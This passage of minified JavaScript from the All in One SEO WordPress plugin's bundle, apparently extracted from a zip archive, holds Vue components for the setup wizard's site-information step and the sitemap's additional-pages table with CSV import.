c(),_("div",I,[d.licenseStore.isUnlicensed?C("",!0):(c(),h(g,{key:0})),d.licenseStore.isUnlicensed?(c(),h(m,{key:1})):C("",!0)])}const lt=E(H,[["render",q]]);export{lt as default}; PKÉ—[]½ß`.`.Iall-in-one-seo-pack/dist/Lite/assets/js/AdditionalInformation.cpw07oEZ.jsnu„[µü¤import{a as k,u as O,g as C,m as T}from"./links.CKSg78-h.js";import"./default-i18n.BtxsUzQk.js";import{y as l,c as d,D as n,m as p,o as m,a as o,E as h,t as r,d as c,I as P}from"./vue.esm-bundler.DzelZkHk.js";import{_ as R}from"./_plugin-vue_export-helper.BN1snXvA.js";import{u as L,W as U}from"./Wizard.Cs56tV0n.js";import{M as x}from"./MaxCounts.DHV7qSQX.js";import{B as A}from"./Phone.D5yQTsW7.js";import{B}from"./RadioToggle.XiBFFWmC.js";import{C as M}from"./ImageUploader.DrSIpvuy.js";import{C as D}from"./SocialProfiles.CvQDn_XF.js";import{W as E,a as J,b as H}from"./Header.DlbHtOYW.js";import{W as Y}from"./CloseAndExit.D_-Wd9tr.js";import{_ as G}from"./Steps.ig9y9PNj.js";import"./isArrayLikeObject.CkjpbQo7.js";import"./addons.Bhqo_sme.js";import"./upperFirst.Cx8cdEgZ.js";import"./_stringToArray.DnK4tKcY.js";import"./toString.EVG10Qqs.js";import"./preload-helper.B7sCc5Li.js";import"./Caret.Cuasz9Up.js";import"./Img.sJ8H0e44.js";import"./index.DX4OhBfI.js";import"./Plus.CShy191p.js";import"./Checkbox.CfGJSeWE.js";import"./Checkmark.Du5wcsnR.js";import"./Textarea.BirUpna9.js";import"./SettingsRow.B0N4hwjp.js";import"./Row.ou4tdPuA.js";import"./Twitter.DCBjQ0eg.js";import"./Logo.CuK32Muc.js";import"./Index.6gbvf_mk.js";const j={setup(){const{strings:a}=L();return{optionsStore:k(),rootStore:O(),setupWizardStore:C(),composableStrings:a}},components:{BasePhone:A,BaseRadioToggle:B,CoreImageUploader:M,CoreSocialProfiles:D,WizardBody:E,WizardCloseAndExit:Y,WizardContainer:J,WizardHeader:H,WizardSteps:G},mixins:[x,U],data(){return{showOtherSocialNetworks:!1,loaded:!1,loading:!1,stage:"additional-information",strings:T(this.composableStrings,{additionalSiteInformation:this.$t.__("Additional Site Information",this.$td),personOrOrganization:this.$t.__("Person or Organization",this.$td),choosePerson:this.$t.__("Choose a Person",this.$td),person:this.$t.__("Person",this.$td),organization:this.$t.__("Organization",this.$td),personOrOrganizationDescription:this.$t.__("Choose whether the site represents a person or an organization.",this.$td),name:this.$t.__("Name",this.$td),organizationName:this.$t.__("Organization Name",this.$td),phone:this.$t.__("Phone Number",this.$td),chooseContactType:this.$t.__("Choose a Contact Type",this.$td),contactType:this.$t.__("Contact Type",this.$td),contactTypeDescription:this.$t.__("Select which team or department the phone number belongs to.",this.$td),logo:this.$t.__("Logo",this.$td),defaultSocialShareImage:this.$t.__("Default Social Share Image",this.$td),yourSocialProfiles:this.$t.__("Your Social Profiles",this.$td),showMore:this.$t.__("Show more",this.$td)})}},watch:{"optionsStore.options.social.profiles":{deep:!0,handler(a){this.setupWizardStore.additionalInformation.social.profiles=a}}},computed:{users(){return[{label:this.$t.__("Manually Enter Person",this.$td),value:"manual"}].concat(this.rootStore.aioseo.users.map(a=>({label:`${a.displayName} (${a.email})`,gravatar:a.gravatar,value:a.id})))}},methods:{getPersonOptions(a){return this.users.find(e=>e.value===a)},getContactTypeOptions(a){return this.$constants.CONTACT_TYPES.find(e=>e.value===a)},saveAndContinue(){this.loading=!0,this.setupWizardStore.saveWizard("additionalInformation").then(()=>{this.$router.push(this.setupWizardStore.getNextLink)})},showHideOtherSocialNetworks(){this.showOtherSocialNetworks=!this.showOtherSocialNetworks}},mounted(){this.$nextTick(()=>{const a=JSON.parse(JSON.stringify(this.optionsStore.options.searchAppearance)),e=JSON.parse(JSON.stringify(this.optionsStore.options.social));this.setupWizardStore.additionalInformation.social.profiles=JSON.parse(JSON.stringify(e.profiles)),this.setupWizardStore.additionalInformation.socialShareImage=e.facebook.general.defaultImagePosts,this.setupWizardStore.additionalInformation.siteRepresents=a.global.schema.siteRepresents,this.setupWizardStore.additionalInformation.person=a.global.schema.person,this.setupWizardStore.additionalInformation.organizationName=a.global.schema.organizationName,this.setupWizardStore.additionalInformation.organizationLogo=a.global.schema.organizationLogo,this.setupWizardStore.additionalInformation.personName=a.global.schema.personName,this.setupWizardStore.additionalInformation.personLogo=a.global.schema.personLogo,this.setupWizardStore.additionalInformation.phone=a.global.schema.phone,this.setupWizardStore.additionalInformation.contactType=a.global.schema.contactType,this.setupWizardStore.additionalInformation.contactTypeManual=a.global.schema.contactTypeManual,this.loaded=!0})}},q={class:"aioseo-wizard-additional-information"},F={class:"header"},K={class:"person-or-organization aioseo-settings-row no-border no-margin"},Q={class:"settings-name"},X={class:"name small-margin"},Z={class:"aioseo-description"},$={key:0,class:"aioseo-settings-row no-border no-margin"},oo={class:"settings-name"},to={class:"name small-margin"},eo={class:"person-label"},io={key:0,class:"person-avatar"},ao=["src"],so={class:"person-name"},no={class:"person-label"},ro={key:0,class:"person-avatar"},lo=["src"],mo={class:"person-name"},co={key:1,class:"schema-graph-name aioseo-settings-row no-border no-margin"},po={class:"settings-name"},go={class:"name small-margin"},ho={key:2,class:"schema-graph-name aioseo-settings-row no-border no-margin"},_o={class:"settings-name"},uo={class:"name small-margin"},fo={key:3,class:"schema-graph-phone aioseo-settings-row no-border no-margin"},zo={class:"settings-name"},So={class:"name small-margin"},vo={key:4,class:"schema-graph-contact-type aioseo-settings-row no-border no-margin"},Wo={class:"settings-name"},Io={class:"name small-margin"},yo={class:"aioseo-description"},bo={key:5,class:"schema-graph-contact-type-manual aioseo-settings-row no-border no-margin"},wo={class:"settings-name"},No={class:"name small-margin"},Vo={key:6,class:"schema-graph-image aioseo-settings-row no-border no-margin"},ko={class:"settings-name"},Oo={class:"name small-margin"},Co={key:7,class:"schema-graph-image aioseo-settings-row no-border no-margin"},To={class:"settings-name"},Po={class:"name small-margin"},Ro={class:"schema-graph-image aioseo-settings-row"},Lo={class:"settings-name"},Uo={class:"name small-margin"},xo={class:"header social"},Ao={class:"go-back"},Bo=o("div",{class:"spacer"},null,-1);function Mo(a,e,Do,t,s,g){const S=l("wizard-header"),v=l("wizard-steps"),W=l("base-radio-toggle"),f=l("base-select"),_=l("base-input"),I=l("base-phone"),u=l("core-image-uploader"),y=l("core-social-profiles"),z=l("router-link"),b=l("base-button"),w=l("wizard-body"),N=l("wizard-close-and-exit"),V=l("wizard-container");return m(),d("div",q,[n(S),n(V,null,{default:p(()=>[n(w,null,{footer:p(()=>[o("div",Ao,[n(z,{to:t.setupWizardStore.getPrevLink,class:"no-underline"},{default:p(()=>[h("â†")]),_:1},8,["to"]),h("   "),n(z,{to:t.setupWizardStore.getPrevLink},{default:p(()=>[h(r(s.strings.goBack),1)]),_:1},8,["to"])]),Bo,n(b,{type:"blue",loading:s.loading,onClick:g.saveAndContinue},{default:p(()=>[h(r(s.strings.saveAndContinue)+" →",1)]),_:1},8,["loading","onClick"])]),default:p(()=>[n(v),o("div",F,r(s.strings.additionalSiteInformation),1),o("div",K,[o("div",Q,[o("div",X,r(s.strings.personOrOrganization),1)]),n(W,{modelValue:t.setupWizardStore.additionalInformation.siteRepresents,"onUpdate:modelValue":e[0]||(e[0]=i=>t.setupWizardStore.additionalInformation.siteRepresents=i),name:"siteRepresents",options:[{label:s.strings.person,value:"person"},{label:s.strings.organization,value:"organization"}]},null,8,["modelValue","options"]),o("div",Z,r(s.strings.personOrOrganizationDescription),1)]),t.setupWizardStore.additionalInformation.siteRepresents==="person"?(m(),d("div",$,[o("div",oo,[o("div",to,r(s.strings.choosePerson),1)]),n(f,{class:"person-chooser",options:g.users,modelValue:g.getPersonOptions(t.setupWizardStore.additionalInformation.person),"onUpdate:modelValue":e[1]||(e[1]=i=>t.setupWizardStore.additionalInformation.person=i.value)},{singleLabel:p(({option:i})=>[o("div",eo,[i.gravatar?(m(),d("div",io,[o("img",{alt:"User Gravatar",src:i.gravatar},null,8,ao)])):c("",!0),o("div",so,r(i.label),1)])]),option:p(({option:i})=>[o("div",no,[i.gravatar?(m(),d("div",ro,[o("img",{alt:"User Gravatar",src:i.gravatar},null,8,lo)])):c("",!0),o("div",mo,r(i.label),1)])]),_:1},8,["options","modelValue"])])):c("",!0),t.setupWizardStore.additionalInformation.siteRepresents==="organization"?(m(),d("div",co,[o("div",po,[o("div",go,r(s.strings.organizationName),1)]),n(_,{size:"medium",modelValue:t.setupWizardStore.additionalInformation.organizationName,"onUpdate:modelValue":e[2]||(e[2]=i=>t.setupWizardStore.additionalInformation.organizationName=i)},null,8,["modelValue"])])):c("",!0),t.setupWizardStore.additionalInformation.siteRepresents!=="organization"&&t.setupWizardStore.additionalInformation.person==="manual"?(m(),d("div",ho,[o("div",_o,[o("div",uo,r(s.strings.name),1)]),n(_,{size:"medium",modelValue:t.setupWizardStore.additionalInformation.personName,"onUpdate:modelValue":e[3]||(e[3]=i=>t.setupWizardStore.additionalInformation.personName=i)},null,8,["modelValue"])])):c("",!0),t.setupWizardStore.additionalInformation.siteRepresents==="organization"?(m(),d("div",fo,[o("div",zo,[o("div",So,r(s.strings.phone),1)]),n(I,{modelValue:t.setupWizardStore.additionalInformation.phone,"onUpdate:modelValue":e[4]||(e[4]=i=>t.setupWizardStore.additionalInformation.phone=i)},null,8,["modelValue"])])):c("",!0),t.setupWizardStore.additionalInformation.siteRepresents==="organization"?(m(),d("div",vo,[o("div",Wo,[o("div",Io,r(s.strings.contactType),1)]),n(f,{size:"medium",options:a.$constants.CONTACT_TYPES,placeholder:s.strings.chooseContactType,modelValue:g.getContactTypeOptions(t.setupWizardStore.additionalInformation.contactType),"onUpdate:modelValue":e[5]||(e[5]=i=>t.setupWizardStore.additionalInformation.contactType=i.value)},null,8,["options","placeholder","modelValue"]),o("div",yo,r(s.strings.contactTypeDescription),1)])):c("",!0),t.setupWizardStore.additionalInformation.siteRepresents==="organization"&&t.setupWizardStore.additionalInformation.contactType==="manual"?(m(),d("div",bo,[o("div",wo,[o("div",No,r(s.strings.contactType),1)]),n(_,{size:"medium",modelValue:t.setupWizardStore.additionalInformation.contactTypeManual,"onUpdate:modelValue":e[6]||(e[6]=i=>t.setupWizardStore.additionalInformation.contactTypeManual=i)},null,8,["modelValue"])])):c("",!0),t.setupWizardStore.additionalInformation.siteRepresents==="organization"?(m(),d("div",Vo,[o("div",ko,[o("div",Oo,r(s.strings.logo),1)]),n(u,{modelValue:t.setupWizardStore.additionalInformation.organizationLogo,"onUpdate:modelValue":e[7]||(e[7]=i=>t.setupWizardStore.additionalInformation.organizationLogo=i)},null,8,["modelValue"])])):c("",!0),t.setupWizardStore.additionalInformation.siteRepresents!=="organization"&&t.setupWizardStore.additionalInformation.person==="manual"?(m(),d("div",Co,[o("div",To,[o("div",Po,r(s.strings.logo),1)]),n(u,{modelValue:t.setupWizardStore.additionalInformation.personLogo,"onUpdate:modelValue":e[8]||(e[8]=i=>t.setupWizardStore.additionalInformation.personLogo=i)},null,8,["modelValue"])])):c("",!0),o("div",Ro,[o("div",Lo,[o("div",Uo,r(s.strings.defaultSocialShareImage),1)]),n(u,{modelValue:t.setupWizardStore.additionalInformation.socialShareImage,"onUpdate:modelValue":e[9]||(e[9]=i=>t.setupWizardStore.additionalInformation.socialShareImage=i)},null,8,["modelValue"])]),o("div",xo,r(s.strings.yourSocialProfiles),1),s.loaded?(m(),d("div",{key:8,class:P(["social-profiles",{"show-more":s.showOtherSocialNetworks}])},[n(y,{leftSize:"4",rightSize:"8",sameUsernameWidth:"4",hideAdditionalProfiles:""}),o("a",{class:"show-more-link aioseo-col col-md-offset-4",onClick:e[10]||(e[10]=(...i)=>g.showHideOtherSocialNetworks&&g.showHideOtherSocialNetworks(...i))},r(s.strings.showMore),1)],2)):c("",!0)]),_:1}),n(N)]),_:1})])}const zt=R(j,[["render",Mo]]);export{zt as default}; PKÉ—[ÔïŽM…I…ICall-in-one-seo-pack/dist/Lite/assets/js/AdditionalPages.DYKb5Rt_.jsnu„[µü¤import{D as I,a as M,u as F,e as N}from"./links.CKSg78-h.js";import{W as E}from"./WpTable.EicK-ih4.js";import{D as T}from"./Date.Bc79vv_Y.js";import{_ as $}from"./default-i18n.BtxsUzQk.js";import{t as S,n as z,s as V}from"./isArrayLikeObject.CkjpbQo7.js";import{B as Y}from"./DatePicker.9jCaxc1v.js";import{C as B,c as W,e as J}from"./Caret.Cuasz9Up.js";import{C as O}from"./Index.6gbvf_mk.js";import{S as H}from"./Exclamation.BU2oeqa4.js";import{y as u,o as c,c as v,a,t as l,d as h,D as n,m as r,F as j,l as f,I as R,E as g,H as C}from"./vue.esm-bundler.DzelZkHk.js";import{_ as q}from"./_plugin-vue_export-helper.BN1snXvA.js";import{C as K}from"./Table.B2KnjpXq.js";import{C as Q}from"./Card.C6Yzm1Gr.js";import{C as G}from"./Tooltip.DcUmvaHX.js";import{S as X}from"./index.DX4OhBfI.js";import"./constants.DARe-ccJ.js";import"./get.CmvQfcJ_.js";import"./toString.EVG10Qqs.js";import"./isUndefined.2CoGFx8R.js";import"./_getTag.0B4_HiWU.js";import"./debounce.vOAperWf.js";import"./toNumber.DHWd7Z3r.js";import"./_baseTrim.BYZhh0MR.js";import"./numbers.ursUutt1.js";import"./Slide.BfXXFx9A.js";const Z=""+window.__aioseoDynamicImportPreload__("images/import-from-csv.OyzQxKAE.png"),D={page:{url:null,priority:{label:"0.7",value:"0.7"},frequency:{label:$("weekly","all-in-one-seo-pack"),value:"weekly"},lastModified:I.now().toFormat("MM/dd/yyyy")}},ee={setup(){return{optionsStore:M(),rootStore:F()}},emits:["cancel","process-page-add-and-update","process-page-edit"],mixins:[T],components:{BaseDatePicker:Y,CoreAlert:B,CoreModal:O,SvgCircleCheck:W,SvgCircleClose:J,SvgCircleExclamation:H},data(){return{csvFileImage:Z,priorityOptionsValues:[],frequencyOptionsValues:[],filename:"",file:"",loading:!1,showImportModal:!1,page:S(D.page),errors:{url:{invalid:null,exists:null},upload:!1},isLoading:!1,strings:{placeholder:this.$t.sprintf(this.$t.__("Enter a page URL, e.g. %1$s",this.$td),`${this.rootStore.aioseo.urls.home}/new-page`),pageUrl:this.$t.__("Page URL",this.$td),priority:this.$t.__("Priority",this.$td),frequency:this.$t.__("Frequency",this.$td),lastModified:this.$t.__("Last Modified",this.$td),addPage:this.$t.__("Add Page",this.$td),importFromCSV:this.$t.__("Import from CSV",this.$td),saveChanges:this.$t.__("Update Page",this.$td),cancel:this.$t.__("Cancel",this.$td),importAdditionalPages:this.$t.__("Import Additional Pages",this.$td),modalDescription:this.$t.sprintf(this.$t.__("You can import additional page URL's to your sitemap using a CSV file. The following 4 columns are required: %1$sPage URL, Priority, Frequency, Date Modified.%2$s",this.$td),"",""),downloadSampleFile:this.$t.__("Download Sample CSV File",this.$td),imgAltText:this.$t.__("CSV example file",this.$td),fileUploadPlaceholder:this.$t.__("Import from CSV file...",this.$td),chooseAFile:this.$t.__("Choose a File",this.$td),import:this.$t.__("Import",this.$td),csvFileTypeRequired:this.$t.__("The file that you've currently selected is not a CSV file.",this.$td),invalidCSV:this.$t.__("Unable to read CSV file. Please check if the file is valid and try again.",this.$td),errors:{url:{invalid:this.$t.__("Please enter a valid URL.",this.$td),exists:this.$t.__("URL already exists.",this.$td)}}},sampleCSVData:`Page URL,Priority,Frequency,Date Modified\r https://aioseo.com/pricing/,0.0,weekly,01/30/2022`}},methods:{getAssetUrl:z,updateAdditionalPages(t){this.optionsStore.options.sitemap.general.additionalPages.pages=t},addPage(){const t=this.optionsStore.options.sitemap.general.additionalPages.pages;t.unshift(JSON.stringify(this.page)),this.updateAdditionalPages(t),this.page=S(D.page),this.errors.url.invalid=null,this.$emit("process-page-add-and-update")},editPage(t,s){if(this.page[t]=s,!V(this.page.url)&&this.page.url){this.errors.url.invalid=!0;return}if(this.pageExists(this.page.url)&&!this.inTable){this.errors.url.invalid=!1,this.errors.url.exists=!0;return}this.errors.url.invalid=!1,this.errors.url.exists=!1,this.inTable&&this.$emit("process-page-edit",this.page)},updatePage(t){const s=this.optionsStore.options.sitemap.general.additionalPages.pages;s[this.getPaginatedIndex(t)]=JSON.stringify(this.page),this.updateAdditionalPages(s),this.$emit("process-page-add-and-update"),this.$emit("cancel",!0)},pageExists(t){return this.getParsedPages().some(({url:s})=>s===t)},reset(){this.errors.upload=!1,this.filename="",this.file=""},triggerFileUpload(){this.reset(),this.$refs.file.$el.querySelector("input").focus(),this.$refs.file.$el.querySelector("input").click()},async submitFile(){this.loading=!0;try{const t=await this.parseFile(),s=this.optionsStore.options.sitemap.general.additionalPages.pages;t.forEach(o=>{const m=this.prepareAdditionalPage(o);m&&s.unshift(JSON.stringify(m))}),this.updateAdditionalPages(s)}catch{this.errors.upload=this.strings.invalidCSV}this.reset(),this.page=S(D.page),this.showImportModal=!1,this.loading=!1},prepareAdditionalPage(t){const s=S(D.page);return t.forEach(o=>{try{if(V(o)&&!this.pageExists(o)){s.url=o;return}if(this.priorityOptionsValues.includes(o)){s.priority.label=s.priority.value=o;return}if(this.frequencyOptionsValues.includes(o.toLowerCase())){s.frequency.label=s.frequency.value=o.toLowerCase();return}isNaN(T.parse(o))||(s.lastModified=o)}catch{}}),s.url!==null?s:!1},parseFile(){const t=new FileReader;return t.readAsText(this.file),new Promise((s,o)=>{t.onerror=()=>{t.abort(),o(new DOMException)},t.onload=()=>{const e=t.result.split(/[\r\n]/).map(i=>i.split(","));s(e)}})},handleFileUpload(){this.file=this.$refs.file.$el.querySelector("input").files[0],this.file&&(this.filename=this.file.name,this.file.type!=="text/csv"&&(this.errors.upload=this.strings.csvFileTypeRequired))},closeImportModal(){this.reset(),this.showImportModal=!1},isDisabledDate(t){return t>I.now()}},computed:{importValidated(){return this.file.type==="text/csv"}},props:{inTable:Boolean,row:Object,index:Number,getPaginatedIndex:Function,getParsedPages:Function,rowPage:{type:Object,default(){return{}}},editedPage:{type:Object,default(){return{}}}},mounted(){this.priorityOptionsValues=this.$constants.PRIORITY_OPTIONS.map(t=>t.value),this.frequencyOptionsValues=this.$constants.FREQUENCY_OPTIONS.map(t=>t.value),this.inTable&&(this.page=this.rowPage!==this.editedPage?this.rowPage:this.editedPage)}},te={key:0,class:"page-input-header"},se={class:"page-url"},ie={class:"page-priority"},oe={class:"page-frequency"},ae={class:"page-last-modified"},le={class:"page-row"},re={class:"page-url"},ne={class:"append-icon"},de={class:"page-priority"},ue={class:"page-frequency"},ge={class:"page-last-modified"},pe={class:"page-input-footer"},ce={key:0},he={key:1},me={class:"aioseo-modal-body import-additional-pages"},_e={class:"alert"},fe=["innerHTML"],Pe=["href"],ye=["src","alt"],be={class:"file-upload"};function ve(t,s,o,m,e,i){const w=u("svg-circle-close"),k=u("svg-circle-check"),A=u("svg-circle-exclamation"),P=u("base-input"),y=u("core-alert"),b=u("base-select"),L=u("base-date-picker"),_=u("base-button"),p=u("core-modal");return c(),v("div",{class:R(["additional-pages-input",{"in-table":o.inTable}])},[o.inTable?h("",!0):(c(),v("div",te,[a("div",se,l(e.strings.pageUrl),1),a("div",ie,l(e.strings.priority),1),a("div",oe,l(e.strings.frequency),1),a("div",ae,l(e.strings.lastModified),1)])),a("div",le,[a("div",re,[n(P,{modelValue:e.page.url,onKeyup:s[0]||(s[0]=d=>i.editPage("url",d.target.value)),size:"medium",placeholder:e.strings.placeholder,class:R(this.errors.url.invalid&&"aioseo-error"||this.page.url&&this.errors.url.exists&&"aioseo-warning"||this.page.url&&"aioseo-active")},{"append-icon":r(()=>[a("div",ne,[e.isLoading?h("",!0):(c(),v(j,{key:0},[e.errors.url.invalid?(c(),f(w,{key:0})):h("",!0),!e.errors.url.invalid&&!e.errors.url.exists&&e.page.url?(c(),f(k,{key:1})):h("",!0),e.errors.url.exists&&e.page.url?(c(),f(A,{key:2})):h("",!0)],64))])]),_:1},8,["modelValue","placeholder","class"]),this.errors.url.invalid?(c(),f(y,{key:0,type:"red",size:"small"},{default:r(()=>[g(l(e.strings.errors.url.invalid),1)]),_:1})):h("",!0),this.errors.url.exists?(c(),f(y,{key:1,type:"yellow",size:"small"},{default:r(()=>[g(l(e.strings.errors.url.exists),1)]),_:1})):h("",!0)]),a("div",de,[n(b,{size:"medium",modelValue:e.page.priority,"onUpdate:modelValue":s[1]||(s[1]=d=>i.editPage("priority",d)),options:t.$constants.PRIORITY_OPTIONS},null,8,["modelValue","options"])]),a("div",ue,[n(b,{size:"medium",modelValue:e.page.frequency,"onUpdate:modelValue":s[2]||(s[2]=d=>i.editPage("frequency",d)),options:t.$constants.FREQUENCY_OPTIONS},null,8,["modelValue","options"])]),a("div",ge,[n(L,{type:"datetime",size:"large",dateFormat:"m/d/Y H:i:s",defaultValue:t.dateStringToLocalJs(e.page.lastModified),onChange:s[3]||(s[3]=d=>i.editPage("lastModified",t.dateJsToLocal(d,"MM/dd/yyyy HH:mm:ss"))),isDisabledDate:i.isDisabledDate},null,8,["defaultValue","isDisabledDate"])])]),a("div",pe,[o.inTable?(c(),v("div",ce,[n(_,{type:"blue",size:"medium",onClick:s[4]||(s[4]=d=>i.updatePage(o.index)),disabled:e.errors.url.invalid||e.errors.url.exists||!e.page.url},{default:r(()=>[g(l(e.strings.saveChanges),1)]),_:1},8,["disabled"]),n(_,{type:"gray",size:"medium",onClick:s[5]||(s[5]=d=>t.$emit("cancel",!0))},{default:r(()=>[g(l(e.strings.cancel),1)]),_:1})])):h("",!0),o.inTable?h("",!0):(c(),v("div",he,[n(_,{type:"blue",size:"small-table",onClick:i.addPage,disabled:e.errors.url.invalid||e.errors.url.exists||!e.page.url},{default:r(()=>[g(l(e.strings.addPage),1)]),_:1},8,["onClick","disabled"]),n(_,{type:"black",size:"small-table",onClick:s[6]||(s[6]=d=>e.showImportModal=!0)},{default:r(()=>[g(l(e.strings.importFromCSV),1)]),_:1})]))]),n(p,{show:e.showImportModal,onClose:i.closeImportModal,classes:["aioseo-add-additional-pages-modal"]},{headerTitle:r(()=>[g(l(e.strings.importAdditionalPages),1)]),body:r(()=>[a("div",me,[a("div",_e,[a("p",{innerHTML:e.strings.modalDescription},null,8,fe),a("a",{download:"aioseo-additional-pages-sample.csv",href:"data:text/csv;charset=utf-8,"+e.sampleCSVData},l(e.strings.downloadSampleFile),9,Pe)]),a("img",{src:i.getAssetUrl(e.csvFileImage),alt:e.strings.imgAltText},null,8,ye),e.errors.upload?(c(),f(y,{key:0,type:"red",class:"import-error"},{default:r(()=>[n(w),g(" "+l(e.errors.upload),1)]),_:1})):h("",!0),a("div",be,[n(P,{modelValue:e.filename,"onUpdate:modelValue":s[7]||(s[7]=d=>e.filename=d),size:"medium",onFocus:i.triggerFileUpload,placeholder:e.strings.fileUploadPlaceholder,class:R({"aioseo-error":e.errors.upload})},null,8,["modelValue","onFocus","placeholder","class"]),n(_,{type:"black",size:"medium",onClick:i.triggerFileUpload},{default:r(()=>[g(l(e.strings.chooseAFile),1)]),_:1},8,["onClick"])]),n(P,{type:"file",value:e.file,"onUpdate:modelValue":i.handleFileUpload,ref:"file"},null,8,["value","onUpdate:modelValue"]),n(_,{type:"blue",size:"medium",class:"import",onClick:i.submitFile,disabled:!e.file||!i.importValidated,loading:e.loading},{default:r(()=>[g(l(e.strings.import),1)]),_:1},8,["onClick","disabled","loading"])])]),_:1},8,["show","onClose"])],2)}const we=q(ee,[["render",ve]]),ke={setup(){return{optionsStore:M(),rootStore:F(),settingsStore:N()}},mixins:[E],components:{AddAdditionalPage:we,CoreWpTable:K,CoreCard:Q,CoreTooltip:G,CoreModal:O,SvgTrash:X},data(){return{tableId:"sitemap-additional-pages",changeItemsPerPageSlug:"sitemapAdditionalPages",page:{},editedPage:{},resultsPerPage:10,searchResults:null,deletingRow:!1,activeRow:-1,showDeleteModal:!1,shouldDeleteURL:null,selectedRows:null,bulkOptions:[{label:this.$t.__("Delete",this.$td),value:"delete"}],strings:{searchUrls:this.$t.__("Search URLs",this.$td),edit:this.$t.__("Edit",this.$td),delete:this.$t.__("Delete",this.$td),additionalPages:this.$t.__("Additional Pages",this.$td),additionalPagesTooltip:this.$t.__("You can use this section to add any URLs to your sitemap which aren't a part of your WordPress installation. For example, if you have a contact form that you would like to be included on your sitemap you can enter the information manually.",this.$td),areYouSureDeleteLink:this.$t.__("Are you sure you want to delete this page?",this.$td),areYouSureDeleteLinks:this.$t.__("Are you sure you want to delete these pages?",this.$td),thisWillRemoveLink:this.$t.__("This will permanently remove this page from the additional pages sitemap.",this.$td),thisWillRemoveLinks:this.$t.__("This will permanently remove the selected pages from the additional pages sitemap.",this.$td),yesDeleteLink:this.$t.__("Delete Page",this.$td),yesDeleteLinks:this.$t.__("Delete Selected Pages",this.$td),noChangedMind:this.$t.__("No, I changed my mind",this.$td)}}},computed:{currentPages(){return this.searchResults||this.getParsedPages()},rows(){const t=this.currentPages.map(o=>({url:o.url,priority:o.priority&&o.priority.label?o.priority.label:"",frequency:o.frequency&&o.frequency.label?o.frequency.label:"",lastModified:o.lastModified})),s=this.pageNumber===1?0:(this.pageNumber-1)*this.resultsPerPage;return t.slice(s,s+this.resultsPerPage)},totals(){return{page:1,pages:Math.ceil(this.currentPages.length/this.resultsPerPage),total:this.currentPages.length}},columns(){return[{slug:"url",label:this.$t.__("Page URL",this.$td)},{slug:"priority",label:this.$t.__("Priority",this.$td),width:"90px"},{slug:"frequency",label:this.$t.__("Frequency",this.$td),width:"90px"},{slug:"lastModified",label:this.$t.__("Last Modified",this.$td),width:"180px"},{slug:"page-actions",label:"",width:"40px"}]},areYouSureDeleteLink(){return Array.isArray(this.shouldDeleteURL)?this.strings.areYouSureDeleteLinks:this.strings.areYouSureDeleteLink},yesDeleteLink(){return Array.isArray(this.shouldDeleteURL)?this.strings.yesDeleteLinks:this.strings.yesDeleteLink},thisWillRemoveLink(){return Array.isArray(this.shouldDeleteURL)?this.strings.thisWillRemoveLinks:this.strings.thisWillRemoveLink}},methods:{fetchData(){return Promise.resolve()},processSearch(t){if(this.$refs.table.editRow(null),this.pageNumber=1,t===""){this.searchResults=null,this.searchTerm=null;return}t||(t=this.searchTerm),this.wpTableLoading=!0,this.searchResults=this.getParsedPages().filter(s=>s.url.includes(t)),this.searchTerm=t,this.wpTableLoading=!1},processBulkAction({action:t,selectedRows:s}){s.length&&t==="delete"&&(this.showDeleteModal=!0,this.shouldDeleteURL=s)},processPageDelete(){this.wpTableLoading=!0,Array.isArray(this.shouldDeleteURL)?this.shouldDeleteURL.forEach(t=>{this.deletePage(t)}):this.deletePage(this.shouldDeleteURL),this.showDeleteModal=!1,this.wpTableLoading=!1},deletePage(t){const s=[];this.getParsedPages().forEach(o=>{o.url!==t&&s.push(JSON.stringify(o))}),this.optionsStore.options.sitemap.general.additionalPages.pages=s,this.searchResults&&this.processSearch()},maybeProcessDelete(t){this.showDeleteModal=!0,this.shouldDeleteURL=t},processPageEdit(t){this.editedPage=t},processPageAddAndUpdate(){this.processSearch(this.searchTerm||"")},rowPage(t){return this.searchResults?this.searchResults[this.getPaginatedIndex(t)]:this.getParsedPages()[this.getPaginatedIndex(t)]},getPaginatedIndex(t){return(this.pageNumber-1)*this.resultsPerPage+t},getParsedPages(){return this.optionsStore.options.sitemap.general.additionalPages.pages.map(t=>JSON.parse(t))}}},Se={class:"aioseo-additional-pages"},Ce=["onClick"],De={class:"row-actions"},Ae=["onClick"],Le=["onClick"],Ue={class:"page-actions"},Re={class:"aioseo-modal-body delete"},xe={class:"reset-description"};function Te(t,s,o,m,e,i){const w=u("base-toggle"),k=u("add-additional-page"),A=u("svg-trash"),P=u("core-tooltip"),y=u("core-wp-table"),b=u("base-button"),L=u("core-modal"),_=u("core-card");return m.optionsStore.options.sitemap.general.enable?(c(),f(_,{key:0,slug:"additionalPages",toggles:m.optionsStore.options.sitemap.general.additionalPages.enable},{header:r(()=>[n(w,{modelValue:m.optionsStore.options.sitemap.general.additionalPages.enable,"onUpdate:modelValue":s[0]||(s[0]=p=>m.optionsStore.options.sitemap.general.additionalPages.enable=p)},null,8,["modelValue"]),a("span",null,l(e.strings.additionalPages),1)]),tooltip:r(()=>[g(l(e.strings.additionalPagesTooltip),1)]),default:r(()=>[a("div",Se,[n(k,{getPaginatedIndex:i.getPaginatedIndex,getParsedPages:i.getParsedPages,onProcessPageAddAndUpdate:i.processPageAddAndUpdate},null,8,["getPaginatedIndex","getParsedPages","onProcessPageAddAndUpdate"]),(c(),f(y,{ref:"table",class:"additional-pages-table",id:e.tableId,"bulk-options":e.bulkOptions,columns:i.columns,"initial-items-per-page":m.settingsStore.settings.tablePagination.sitemapAdditionalPages,"initial-page-number":t.pageNumber,key:t.wpTableKey,loading:t.wpTableLoading,rows:i.rows,"search-label":e.strings.searchUrls,"show-search":!0,totals:i.totals,"show-items-per-page":"",onPaginate:t.processPagination,onProcessBulkAction:i.processBulkAction,onProcessChangeItemsPerPage:t.processChangeItemsPerPage,onSearch:i.processSearch,onSortColumn:t.processSort},{url:r(({row:p,index:d,editRow:U})=>[a("a",{class:"post-title",href:"#",onClick:C(x=>U(d),["prevent","stop"])},l(p.url),9,Ce),a("div",De,[a("span",null,[a("a",{class:"edit",href:"#",onClick:C(x=>U(d),["prevent","stop"])},[a("span",null,l(e.strings.edit),1)],8,Ae),g(" | 